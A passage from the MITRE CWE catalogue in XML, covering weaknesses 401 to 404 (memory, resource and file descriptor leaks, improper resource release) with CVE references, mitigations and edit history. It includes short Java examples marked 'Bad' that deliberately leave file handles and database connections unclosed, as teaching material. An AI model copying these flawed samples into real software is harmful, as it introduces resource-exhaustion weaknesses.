            <Observed_Example>
               <Reference>CVE-2004-0222</Reference>
               <Description>Memory leak via unknown manipulations as part of protocol test suite.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0222</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0136</Reference>
               <Description>Memory leak via a series of the same command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0136</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Memory Management</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Memory leak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Memory Leak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to deallocate data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory when no longer needed</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC04-J</Entry_ID>
               <Entry_Name>Do not leak memory</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to Release Resource</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-14</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-390"/>
            <Reference External_Reference_ID="REF-391"/>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-14"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.</Note>
            <Note Type="Terminology">"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, References, Relationship_Notes, Taxonomy_Mappings, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Alternate_Terms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Name, References, Relationships, Taxonomy_Mappings, Type, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Memory Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak')</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Release Memory Before Removing Last Reference ('Memory Leak')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-01-03">Improper Release of Memory Before Removing Last Reference ('Memory Leak')</Previous_Entry_Name>
			<Previous_Entry_Name Date="2019-06-20">Improper Release of Memory Before Removing Last Reference</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="402" Name="Transmission of Private Resources into a New Sphere ('Resource Leak')" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product makes resources available to untrusted parties when those resources are only intended to be accessed by the product.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Resource Leak</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Resource leaks</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Alternate_Terms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Resource Leaks</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Transmission of Private Resources into a New Sphere (aka 'Resource Leak')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="403" Name="Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.</Description>
         <Extended_Description>When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="402" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Unix" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>File descriptor leak</Term>
               <Description>While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Modify Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2003-0740</Reference>
               <Description>Server leaks a privileged file descriptor, allowing the server to be hijacked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0740</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1033</Reference>
               <Description>File descriptor leak allows read of restricted files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1033</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0094</Reference>
               <Description>Access to restricted resource using modified file descriptor for stderr.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0094</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0638</Reference>
               <Description>Open file descriptor used as alternate channel in complex race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0638</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0489</Reference>
               <Description>Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0489</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0937</Reference>
               <Description>User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0937</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2215</Reference>
               <Description>Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2215</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-5397</Reference>
               <Description>Module opens a file for reading twice, allowing attackers to read files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-5397</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>UNIX file descriptor leak</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Ensure files are properly closed when they are no longer needed</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-392"/>
            <Reference External_Reference_ID="REF-393" Section="Elevating Privileges Safely"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Name, Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2011-03-29">UNIX File Descriptor Leak</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-02-21">Exposure of File Descriptor to Unintended Control Sphere</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="404" Name="Improper Resource Shutdown or Release" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not release or incorrectly releases a resource before it is made available for re-use.</Description>
         <Extended_Description>When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="405" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="619" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
               <Description>Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.</Description>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
               <Description>Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Impact>Varies by Context</Impact>
               <Note>Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
                  <xhtml:p>Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-12">
               <Method>Manual Dynamic Analysis</Method>
               <Description>Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the product under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
           <Demonstrative_Example Demonstrative_Example_ID="DX-81">
               <Intro_Text>The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.</Intro_Text>
              <Example_Code Nature="Bad" Language="Java">
                <xhtml:div>private void processFile(string fName)<xhtml:br/>{<xhtml:div style="margin-left:1em;">BufferReader fil = new BufferReader(new FileReader(fName));<xhtml:br/>String line;<xhtml:br/>while ((line = fil.ReadLine()) != null)<xhtml:br/>{<xhtml:div style="margin-left:1em;">processLine(line);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.</Body_Text>
              <Example_Code Nature="Good" Language="Java">
                <xhtml:div>private void processFile(string fName)<xhtml:br/>{<xhtml:div style="margin-left:1em;">BufferReader fil = new BufferReader(new FileReader(fName));<xhtml:br/>String line;<xhtml:br/>while ((line = fil.ReadLine()) != null)<xhtml:br/>{<xhtml:div style="margin-left:1em;">processLine(line);</xhtml:div>}<xhtml:br/>fil.Close();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-82">
               <Intro_Text>This code attempts to open a connection to a database and catches any exceptions that may occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">Connection con = DriverManager.getConnection(some_connection_string);</xhtml:div>}<xhtml:br/>catch ( Exception e ) {<xhtml:div style="margin-left:1em;">log( e );</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-83">
               <Intro_Text>Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
